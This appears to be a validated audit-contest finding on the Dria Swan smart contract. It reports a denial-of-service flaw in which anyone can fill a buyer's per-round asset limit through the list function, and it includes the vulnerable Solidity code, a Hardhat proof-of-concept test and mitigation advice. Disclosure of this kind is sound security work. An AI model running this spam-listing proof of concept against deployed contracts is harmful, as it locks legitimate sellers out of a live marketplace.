Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

Denial of service (DoS) on asset listings can disrupt functionality for legitimate users by blocking new assets from being listed in `Swan.sol`

Summary

The Swan contract's list function vulnerable to a Denial of Service (DoS) attack on asset listings. This vulnerability arises due to unrestricted listing of assets by malicious actors who can manipulate contract state, reaching the asset limit per buyer or creating unintended congestion. This can disrupt functionality for legitimate users by blocking new assets from being listed, ultimately affecting the performance and usability of the platform.

Vulnerability Details

In the Swan contract, the list function allows a seller to create and list a new asset for a buyer, with a limit on the number of assets per buyer. However, there are no checks in place to prevent malicious actors from repeatedly listing assets for a specific buyer, which could fill up the allowed asset count per buyer for a particular round. By exploiting this, an attacker could effectively prevent legitimate assets from being listed, causing a Denial of Service.

The following code snippet illustrates the list function, which lacks restrictive checks on who can list an asset for a particular buyer:

function list(string calldata _name, string calldata _symbol, bytes calldata _desc, uint256 _price, address _buyer)
external
{
BuyerAgent buyer = BuyerAgent(_buyer);
(uint256 round, BuyerAgent.Phase phase,) = buyer.getRoundPhase();
// buyer must be in the sell phase
if (phase != BuyerAgent.Phase.Sell) {
revert BuyerAgent.InvalidPhase(phase, BuyerAgent.Phase.Sell);
}
// asset count must not exceed `maxAssetCount`
if (getCurrentMarketParameters().maxAssetCount == assetsPerBuyerRound[_buyer][round].length) {
revert AssetLimitExceeded(getCurrentMarketParameters().maxAssetCount);
}
// create the asset and listing
address asset = address(swanAssetFactory.deploy(_name, _symbol, _desc, msg.sender));
listings[asset] = AssetListing({
createdAt: block.timestamp,
royaltyFee: buyer.royaltyFee(),
price: _price,
seller: msg.sender,
status: AssetStatus.Listed,
buyer: _buyer,
round: round
});
// add asset to the buyer’s round listing
assetsPerBuyerRound[_buyer][round].push(asset);
// transfer royalties
transferRoyalties(listings[asset]);
emit AssetListed(msg.sender, asset, _price);
}

An attacker could deploy a script or contract that continually calls the list function, specifying a target buyer's address. By hitting the asset limit per round for this buyer, the attacker prevents legitimate assets from being listed.

Steps:

  • Deploy the Swan contract and set up an instance of a BuyerAgent for testing.

  • Set the maxAssetCount parameter for buyers.

  • Execute a script or Hardhat test that simulates multiple list transactions with the same buyer address until the maximum asset count is reached.

  • Observe that once the limit is hit, legitimate listing requests for that buyer are denied due to the AssetLimitExceeded revert.

The following Hardhat test demonstrates the DoS attack:

const { ethers } = require("hardhat");
const { expect } = require("chai");
describe("Swan Asset Listing DoS", function () {
let swan, buyerAgent, attacker;
let maxAssetCount = 10; // Assume a max asset count per buyer per round
before(async function () {
// Deploy Swan contract and create a buyer agent
const Swan = await ethers.getContractFactory("Swan");
swan = await Swan.deploy();
await swan.initialize(/* parameters */);
const BuyerAgent = await ethers.getContractFactory("BuyerAgent");
buyerAgent = await BuyerAgent.deploy(/* parameters */);
[_, attacker] = await ethers.getSigners();
});
it("Should fill up the asset count limit for a buyer, causing DoS", async function () {
for (let i = 0; i < maxAssetCount; i++) {
await swan.connect(attacker).list(`Asset ${i}`, "AST", "Description", ethers.utils.parseEther("1"), buyerAgent.address);
}
// Attempt another legitimate listing, which should fail
await expect(
swan.list("Legit Asset", "LEGIT", "Legit Description", ethers.utils.parseEther("2"), buyerAgent.address)
).to.be.revertedWith("AssetLimitExceeded");
});
});

Running the above test should show that once the attacker has listed assets up to the limit, any further attempt to list assets for that buyer, including legitimate ones, is denied with the message "AssetLimitExceeded". This effectively locks out legitimate users from listing assets.

Impact

This vulnerability can lead to a Denial of Service on the asset listing functionality for specific buyers. Legitimate users may be unable to list new assets, which degrades user experience, blocks potential revenue streams, and harms the protocol’s integrity. This can be especially damaging in high-demand rounds where timely listings are critical.

Tools Used

Manual review.

Recommendations

  • Restrict Listing Permissions: Require that only certain verified actors or whitelisted accounts can call the list function for a buyer.

  • Dynamic Asset Count Adjustment: Allow for dynamic adjustments of maxAssetCount to prevent attackers from easily predicting the limit.

  • Cooldown Mechanism: Implement a cooldown period between consecutive listings for the same buyer to make mass listing harder for attackers.

  • Access Control: Require only the owner or an approved address to list assets on behalf of a buyer to mitigate unauthorized listing spam.

Updates

Lead Judging Commences

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS the buyer / Lack of minimal amount of listing price

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.